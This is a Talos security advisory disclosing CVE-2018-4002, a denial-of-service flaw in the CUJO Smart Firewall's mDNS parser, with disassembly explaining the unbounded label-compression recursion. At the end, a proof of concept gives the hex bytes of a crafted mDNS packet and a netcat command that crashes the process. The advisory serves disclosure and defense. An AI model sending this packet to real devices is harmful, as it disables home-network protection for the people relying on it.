Talos Vulnerability Report

TALOS-2018-0671

CUJO Smart Firewall mdnscap mDNS label compression denial-of-service vulnerability

March 19, 2019
CVE Number

CVE-2018-4002

Summary

An exploitable denial-of-service vulnerability exists in the mdnscap binary of the CUJO Smart Firewall running firmware 7003. When parsing labels in mDNS packets, the firewall unsafely handles label compression pointers, leading to an uncontrolled recursion that eventually exhausts the stack, crashing the mdnscap process. An unauthenticated attacker can send an mDNS message to trigger this vulnerability.

Tested Versions

CUJO Smart Firewall - Firmware version 7003

Product URLs

https://www.getcujo.com/smart-firewall-cujo/

CVSSv3 Score

5.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-674: Uncontrolled Recursion

Details

CUJO AI produces the CUJO Smart Firewall, a device aimed at protecting home networks from a variety of threats, such as malware, phishing websites and hacking attempts. It also provides a way to monitor specific devices in the network and limit their internet access.

CUJO works as a gateway and splits the home network in two: a monitored network and an unmonitored network (where the main home router is). This way, it can inspect (and block) malicious traffic on the internet. They also provide Android and iOS applications for managing the device.

The board utilizes an OCTEON III CN7020 processor produced by Cavium Networks, which has a cnMIPS64 microarchitecture. The firmware is present in the external eMMC and is based on OCTEON's SDK, which results in a Linux-based operating system running a kernel with PaX patches.

During normal operation, the core process is agent — it establishes a persistent WebSocket over TLS communication with the remote CUJO server agent.cujo.io on port 444, which enables an indirect and remote communication with the smartphone application. This process also communicates with "tappers," which are processes meant to listen for a variety of network activities.

CUJO uses a set of custom "tappers" and other known network-related tools, whose names are self-explanatory: mdnscap, dnscap, dhcpcap, arp-mitm, p0f, softflowd, scannerd, snort. The device continuously updates the remote server when new network activities are detected.

In particular, the mdnscap binary collects mDNS packets from the network. It does so by using the libpcap library.

Before starting the packet capture, the main function drops the process' privileges, constraining it in a chroot environment running as the _mdnscap user.

Shortly after, the functions pcap_compile and pcap_loop are used to call the function sub_3F14 every time an UDP packet is received on port 5353.

.text:00003F14      # sub_3F14(struct pcap_user_cujo *user, const struct pcap_pkthdr *pkthdr, const char *data)
.text:00003F14
.text:00003F14 000                 li      $gp, 0x1B0EC
.text:00003F1C 000                 addu    $gp, $t9
.text:00003F20 000                 addiu   $sp, -0xA8
.text:00003F24 0A8                 sw      $ra, 0xA8+var_4($sp)
.text:00003F28 0A8                 sw      $fp, 0xA8+var_8($sp)
.text:00003F2C 0A8                 move    $fp, $sp
.text:00003F30 0A8                 sw      $gp, 0xA8+var_90($sp)
.text:00003F34 0A8                 sw      $a0, 0xA8+user($fp)
.text:00003F38 0A8                 sw      $a1, 0xA8+pkthdr($fp)
.text:00003F3C 0A8                 sw      $a2, 0xA8+data($fp)           # [1]
...
.text:00003FB4 0A8                 lw      $v0, 0xA8+pkthdr($fp)
.text:00003FB8 0A8                 nop
.text:00003FBC 0A8                 lw      $v0, pcap_pkthdr.caplen($v0)
.text:00003FC0 0A8                 nop
.text:00003FC4 0A8                 sw      $v0, 0xA8+caplen($fp)
...
.text:00003FE8 0A8                 addiu   $v1, $fp, 0xA8+caplen
.text:00003FEC 0A8                 addiu   $v0, $fp, 0xA8+data
.text:00003FF0 0A8                 move    $a3, $a1
.text:00003FF4 0A8                 move    $a2, $a0
.text:00003FF8 0A8                 move    $a1, $v1
.text:00003FFC 0A8                 move    $a0, $v0
.text:00004000 0A8                 li      $v0, 0
.text:00004004 0A8                 nop
.text:00004008 0A8                 addiu   $v0, parse_ether
.text:0000400C 0A8                 move    $t9, $v0
.text:00004010 0A8                 bal     parse_ether                   # [2]
...
.text:00004058 0A8                 bal     parse_ip                      # [3]
...
.text:000040A4 0A8                 bal     parse_udp                     # [4]
...
.text:00004138 0A8                 bal     parse_mdns                    # [5]

The packet data is passed as third parameter [1]. The function then parses the Ethernet [2], IP [3] and UDP layers [4]. Finally the mDNS payload is parsed by calling function [5].

.text:000039E0     parse_mdns:
...
.text:00003AE8 060                 lw      $v0, 0x60+mdns_data($fp)      # [6]
.text:00003AEC 060                 nop
.text:00003AF0 060                 lhu     $v1, 2($v0)                   # flags
.text:00003AF4 060                 li      $v0, 0xFFFF8000
.text:00003AF8 060                 and     $v0, $v1, $v0
.text:00003AFC 060                 andi    $v0, 0xFFFF
.text:00003B00 060                 beqz    $v0, loc_3B28                 # [7] ensure QR=1
.text:00003B04 060                 nop
.text:00003B08 060                 lw      $v0, 0x60+mdns_data($fp)
.text:00003B0C 060                 nop
.text:00003B10 060                 lhu     $v0, 2($v0)
.text:00003B14 060                 nop
.text:00003B18 060                 andi    $v0, 0x200
.text:00003B1C 060                 andi    $v0, 0xFFFF
.text:00003B20 060                 beqz    $v0, loc_3B34                 # [8] ensure TC=0
.text:00003B24 060                 nop
...
.text:00003B34     loc_3B34:
...
.text:00003BBC 060                 addiu   $a1, $v0, aQueries            # "QUERIES:\n"
.text:00003BC0 060                 move    $a0, $zero
.text:00003BC4 060                 la      $v0, verbprintind
.text:00003BC8 060                 nop
.text:00003BCC 060                 move    $t9, $v0
.text:00003BD0 060                 bal     verbprintind
...
.text:00003C18 060                 sw      $zero, 0x60+query($sp)        # type
.text:00003C1C 060                 move    $a3, $a0                      # mdns_total_entries
.text:00003C20 060                 move    $a2, $v1                      # mdns_sections_ptr
.text:00003C24 060                 lw      $a1, 0x60+mdns_data_end($fp)  # mdns_data_end
.text:00003C28 060                 lw      $a0, 0x60+mdns_data_2($fp)    # mdns_data
.text:00003C2C 060                 li      $v0, 0
.text:00003C30 060                 nop
.text:00003C34 060                 addiu   $v0, parse_mdns_records
.text:00003C38 060                 move    $t9, $v0
.text:00003C3C 060                 bal     parse_mdns_records            # [9]
...
.text:00003C6C 060                 addiu   $a1, $v0, aAnswers            # "ANSWERS:\n"
...
.text:00003CF0 060                 bal     parse_mdns_records            # [10]
...
.text:00003D20 060                 addiu   $a1, $v0, aAuthority          # "AUTHORITY:\n"
...
.text:00003DA4 060                 bal     parse_mdns_records            # [11]
...
.text:00003DD4 060                 addiu   $a1, $v0, aAdditional         # "ADDITIONAL:\n"
...
.text:00003E58 060                 bal     parse_mdns_records            # [12]

The function receives the mDNS payload at [6], and ensures that the DNS header has QR=1 [7] (which corresponds to a response), and TC=0 [8] (which means the message is not truncated).

Then, for each section ("question" [9], "answer" [10], "authority" [11] and "additional" [12]), the function parse_mdns_records is called.

.text:000035F0      # parse_mdns_records(char *mdns_data, char *mdns_data_end, char mdns_sections_ptr, char *mdns_total_entries, char type)
.text:000035F0
...
.text:00003674 060                 b       loc_3928
.text:00003678 060                 nop
.text:0000367C
.text:0000367C     loc_367C:                                                     # [13] loop
.text:0000367C 060                 lw      $a2, 0x60+mdns_sections_ptr($fp)
.text:00003680 060                 lw      $a1, 0x60+mdns_data_end($fp)
.text:00003684 060                 lw      $a0, 0x60+mdns_data($fp)
.text:00003688 060                 li      $v0, 0
.text:0000368C 060                 nop
.text:00003690 060                 addiu   $v0, dns_parse_name
.text:00003694 060                 move    $t9, $v0
.text:00003698 060                 bal     dns_parse_name                        # [14]
.text:0000369C 060                 nop
.text:000036A0 060                 lw      $gp, 0x60+var_48($fp)
.text:000036A4 060                 sw      $v0, 0x60+query_name($fp)             # [15]

The function loops [13] over each entry in the section (either "question", "answer", "authority" or "additional").

At [14], the entry's DNS name is extracted by calling dns_parse_name, which returns a pointer to a heap buffer, then stored on the stack [15] (query_name).

.text:000023D0     dns_parse_name:
...
.text:00002418 040                 lw      $v0, 0x40+mdns_questions_ptr($fp)
.text:0000241C 040                 nop
.text:00002420 040                 lw      $v0, 0($v0)
.text:00002424 040                 nop
.text:00002428 040                 lbu     $v0, 0($v0)                                   # [16]
.text:0000242C 040                 nop
.text:00002430 040                 sw      $v0, 0x40+var_10($fp)
...
.text:000024AC 040                 lw      $v0, 0x40+var_10($fp)
.text:000024B0 040                 nop
.text:000024B4 040                 andi    $v0, 0xC0                                     # [17]
.text:000024B8 040                 beqz    $v0, loc_252C
.text:000024BC 040                 nop
.text:000024C0 040                 lw      $v0, 0x40+mdns_questions_ptr($fp)
.text:000024C4 040                 nop
.text:000024C8 040                 lw      $v0, 0($v0)
.text:000024CC 040                 addiu   $v1, $fp, 0x40+buf_ptr
.text:000024D0 040                 move    $a3, $v1
.text:000024D4 040                 move    $a2, $v0
.text:000024D8 040                 lw      $a1, 0x40+mdns_data_end($fp)
.text:000024DC 040                 lw      $a0, 0x40+mdns_data($fp)
.text:000024E0 040                 li      $v0, 0
.text:000024E4 040                 nop
.text:000024E8 040                 addiu   $v0, compression_label
.text:000024EC 040                 move    $t9, $v0
.text:000024F0 040                 bal     compression_label                             # [18]
...
.text:0000252C     loc_252C:
.text:0000252C 040                 lw      $v0, 0x40+mdns_questions_ptr($fp)
.text:00002530 040                 nop
.text:00002534 040                 lw      $v0, 0($v0)
.text:00002538 040                 addiu   $v1, $fp, 0x40+buf_ptr
.text:0000253C 040                 move    $a3, $v1
.text:00002540 040                 move    $a2, $v0
.text:00002544 040                 lw      $a1, 0x40+mdns_data_end($fp)
.text:00002548 040                 lw      $a0, 0x40+mdns_data($fp)
.text:0000254C 040                 li      $v0, 0
.text:00002550 040                 nop
.text:00002554 040                 addiu   $v0, data_label
.text:00002558 040                 move    $t9, $v0
.text:0000255C 040                 bal     data_label                                    # [19]

The function dns_parse_name takes care of extracting the DNS name from the current record. It extracts the first byte of the name [16] and checks whether it represents the length of a data label or the offset of a compression label [17] and calls function [19] or [18], respectively.

Both data_label and compression_label work together in a recursive loop:

.text:00001F1C     compression_label:
...
.text:00001FDC
.text:00001FDC     loc_1FDC:                                                    # [20] extract the offset
.text:00001FDC 038                 lw      $v0, 0x38+var_1C($fp)
.text:00001FE0 038                 nop
.text:00001FE4 038                 lbu     $v0, 0($v0)
.text:00001FE8 038                 nop
.text:00001FEC 038                 sll     $v0, 8
.text:00001FF0 038                 sll     $v0, 16
.text:00001FF4 038                 sra     $v0, 16
.text:00001FF8 038                 andi    $v0, 0x3F00
.text:00001FFC 038                 sll     $v1, $v0, 16
.text:00002000 038                 sra     $v1, 16
.text:00002004 038                 lw      $v0, 0x38+var_1C($fp)
.text:00002008 038                 nop
.text:0000200C 038                 addiu   $v0, 1
.text:00002010 038                 lbu     $v0, 0($v0)
.text:00002014 038                 nop
.text:00002018 038                 sll     $v0, 16
.text:0000201C 038                 sra     $v0, 16
.text:00002020 038                 or      $v0, $v1, $v0
.text:00002024 038                 sll     $v0, 16
.text:00002028 038                 sra     $v0, 16
.text:0000202C 038                 sh      $v0, 0x38+offset($fp)
.text:00002030 038                 lw      $v0, 0x38+var_1C($fp)
.text:00002034 038                 nop
.text:00002038 038                 addiu   $v0, 2
.text:0000203C 038                 sw      $v0, 0x38+var_1C($fp)
.text:00002040 038                 lhu     $v0, 0x38+offset($fp)
.text:00002044 038                 lw      $v1, 0x38+var_14($fp)
.text:00002048 038                 nop
.text:0000204C 038                 addu    $v1, $v0
.text:00002050 038                 lw      $v0, 0x38+var_14($fp)
.text:00002054 038                 nop
.text:00002058 038                 sltu    $v0, $v1, $v0
.text:0000205C 038                 bnez    $v0, loc_2088
.text:00002060 038                 nop
.text:00002064 038                 lhu     $v0, 0x38+offset($fp)
.text:00002068 038                 lw      $v1, 0x38+var_14($fp)
.text:0000206C 038                 nop
.text:00002070 038                 addu    $v1, $v0
.text:00002074 038                 lw      $v0, 0x38+var_18($fp)
.text:00002078 038                 nop
.text:0000207C 038                 sltu    $v0, $v1, $v0                        # bound checks
.text:00002080 038                 bnez    $v0, loc_20C4
.text:00002084 038                 nop
...
.text:000020C4
.text:000020C4     loc_20C4:
.text:000020C4 038                 lhu     $v0, 0x38+offset($fp)
.text:000020C8 038                 lw      $v1, 0x38+var_14($fp)
.text:000020CC 038                 nop
.text:000020D0 038                 addu    $v0, $v1, $v0
.text:000020D4 038                 lb      $v0, 0($v0)
.text:000020D8 038                 nop
.text:000020DC 038                 andi    $v0, 0xC0                            # [21]
.text:000020E0 038                 beqz    $v0, loc_2124
.text:000020E4 038                 nop
.text:000020E8 038                 li      $v0, 0
.text:000020EC 038                 nop
.text:000020F0 038                 addiu   $a1, $v0, aCompression_la  # "compression_label"
.text:000020F4 038                 li      $v0, 0
.text:000020F8 038                 nop
.text:000020FC 038                 addiu   $a0, $v0, aSDoubleIndirec  # "%s: double indirection"
.text:00002100 038                 la      $v0, warnx
.text:00002104 038                 nop
.text:00002108 038                 move    $t9, $v0
.text:0000210C 038                 jalr    $t9 ; warnx
.text:00002110 038                 nop
.text:00002114 038                 lw      $gp, 0x38+var_28($fp)
.text:00002118 038                 move    $v0, $zero
.text:0000211C 038                 b       loc_2164
.text:00002120 038                 nop
.text:00002124
.text:00002124     loc_2124:
.text:00002124 038                 lhu     $v0, 0x38+offset($fp)
.text:00002128 038                 lw      $v1, 0x38+var_14($fp)
.text:0000212C 038                 nop
.text:00002130 038                 addu    $v0, $v1, $v0
.text:00002134 038                 lw      $a3, 0x38+var_20($fp)
.text:00002138 038                 move    $a2, $v0
.text:0000213C 038                 lw      $a1, 0x38+var_18($fp)
.text:00002140 038                 lw      $a0, 0x38+var_14($fp)
.text:00002144 038                 li      $v0, 0
.text:00002148 038                 nop
.text:0000214C 038                 addiu   $v0, data_label
.text:00002150 038                 move    $t9, $v0
.text:00002154 038                 bal     data_label                          # [22]
.text:00002158 038                 nop
...

Function copmression_label extracts the offset [20] that points to the compression target. Then, it ensures that the offset points to a data label [21], and extracts the compression target [22].

.text:00001C14     data_label:
...
                                                                               # bound checks
...
.text:00001CF4     loc_1CF4:
.text:00001CF4 038                 lbu     $v0, 0x38+label_length($fp)
.text:00001CF8 038                 nop
.text:00001CFC 038                 andi    $v0, 0xC0                           # [23] compressed label?
.text:00001D00 038                 beqz    $v0, loc_1D3C
.text:00001D04 038                 nop
.text:00001D08 038                 lw      $a3, 0x38+buf_ptr($fp)
.text:00001D0C 038                 lw      $a2, 0x38+mdns_questions_ptr($fp)
.text:00001D10 038                 lw      $a1, 0x38+mdns_data_end($fp)
.text:00001D14 038                 lw      $a0, 0x38+mdns_data($fp)
.text:00001D18 038                 li      $v0, 0
.text:00001D1C 038                 nop
.text:00001D20 038                 addiu   $v0, compression_label
.text:00001D24 038                 move    $t9, $v0
.text:00001D28 038                 bal     compression_label                   # [24]
.text:00001D2C 038                 nop
.text:00001D30 038                 lw      $gp, 0x38+var_28($fp)
.text:00001D34 038                 b       loc_1ED8
.text:00001D38 038                 nop
.text:00001D3C
...                                                                            # [25]
.text:00001E14 038                 addiu   $a1, $v0, a_     # "."
.text:00001E18 038                 lw      $a0, 0x38+buf_ptr($fp)
.text:00001E1C 038                 la      $v0, bufconcatstr
.text:00001E20 038                 nop
.text:00001E24 038                 move    $t9, $v0
.text:00001E28 038                 bal     bufconcatstr
.text:00001E2C 038                 nop
.text:00001E30 038                 lw      $gp, 0x38+var_28($fp)
.text:00001E34 038                 move    $v1, $v0
.text:00001E38 038                 li      $v0, 0xFFFFFFFF
.text:00001E3C 038                 bne     $v1, $v0, loc_1E50
...
.text:00001E50     loc_1E50:
.text:00001E50 038                 lbu     $v0, 0x38+label_length($fp)
.text:00001E54 038                 nop
.text:00001E58 038                 move    $a2, $v0
.text:00001E5C 038                 lw      $a1, 0x38+mdns_questions_ptr($fp)
.text:00001E60 038                 lw      $a0, 0x38+buf_ptr($fp)
.text:00001E64 038                 la      $v0, bufconcatstr
.text:00001E68 038                 nop
.text:00001E6C 038                 move    $t9, $v0
.text:00001E70 038                 bal     bufconcatstr
.text:00001E74 038                 nop
.text:00001E78 038                 lw      $gp, 0x38+var_28($fp)
.text:00001E7C 038                 move    $v1, $v0
.text:00001E80 038                 li      $v0, 0xFFFFFFFF
.text:00001E84 038                 bne     $v1, $v0, loc_1E98
...
.text:00001E98     loc_1E98:
.text:00001E98 038                 lbu     $v0, 0x38+label_length($fp)
.text:00001E9C 038                 lw      $v1, 0x38+mdns_questions_ptr($fp)
.text:00001EA0 038                 nop
.text:00001EA4 038                 addu    $v0, $v1, $v0
.text:00001EA8 038                 lw      $a3, 0x38+buf_ptr($fp)
.text:00001EAC 038                 move    $a2, $v0
.text:00001EB0 038                 lw      $a1, 0x38+mdns_data_end($fp)
.text:00001EB4 038                 lw      $a0, 0x38+mdns_data($fp)
.text:00001EB8 038                 li      $v0, 0
.text:00001EBC 038                 nop
.text:00001EC0 038                 addiu   $v0, data_label
.text:00001EC4 038                 move    $t9, $v0
.text:00001EC8 038                 bal     data_label                          # [26] recursion
.text:00001ECC 038                 nop

Function data_label checks if the current data pointer, to check if it's parsing a data label or a compressed label [23]. In case it's a compressed label, it will call the function compression_label [24], otherwise it extracts the data label [25] and calls itself [26] to parse the next label.

The check at [21] avoids compressed labels that reference each other. However, since the compression offset can point anywhere within the mDNS packet, an attacker can easily point the offset to the current DNS name being parsed.

If the current DNS name is made of a data label plus a compressed label that points back to the data label, an infinite recursion occurs, leading to stack exhaustion and crashing of the mdnscap process.

Note that an additional way to reach the same vulnerable path exists: when a "PTR" (type 12) resource record is present, its "RDATA" field is extracted using the dns_parse_name function, which can lead to the same infinite recursion issue.

Exploit Proof of Concept

The following proof of concept shows how to crash the mdnscap process.

Consider the following input file:

$ hexdump input.bin
0000000 12 34 80 00 00 01 00 00 00 00 00 00 01 41 c0 0c
0000010 00 b0 b1 c0 c1
0000015

We have one "question" entry, whose name is "01 41 c0 0c 00".

  • First label: "01 41", this label has length 1 and is "A".
  • Second label: "c0 0c", this is a compressed label with offset 0x0c. Counting from the start of the mDNS packet, 0x0c points to "01 41", that is the previous data label.
  • Null label: "00". This is actually never reached by the program.

The following command crashes mdnscap:

$ nc -u $CUJO_IP 5353 < input.bin

Timeline

2018-09-18 - Vendor Disclosure
2019-03-19- - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.